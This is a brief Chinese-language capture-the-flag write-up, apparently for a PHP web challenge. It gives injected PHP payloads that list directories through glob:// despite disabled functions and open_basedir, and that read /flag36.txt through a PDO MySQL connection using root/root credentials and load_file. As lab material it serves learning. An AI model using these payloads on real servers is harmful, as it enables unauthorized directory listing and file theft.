信息收集
scandir
被禁用了
解题
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);ob_flush();
}
又有open_basedir限制了
web72里那一大坨代码也不能用了,估计开启了ASLR
GS
之类的堆栈保护
答案给了新的方法
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."\n<br>"; }$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}exit(0);
在代码里写注释有时会使代码失效
PDO
:(PHP数据对象)是PHP的一个轻量级数据库访问抽象层,允许开发者以一种统一的方式访问多种不同类型的数据库,如MySQL、PostgreSQL、SQLite等。
PDO::query
: 执行 SQL 语句,返回PDOStatement对象
select load_file
:使用了mysql的load_file
函数
load_file
:函数允许从服务器的文件系统中读取文件,并将其内容作为字符串返回。然而,这个函数需要满足一定的权限条件,并且文件路径必须是服务器能够访问的
这些都不是关键,关键是数据库名、账号、密码怎么来的,如果不是答案给了,根本不知道
web 目录 web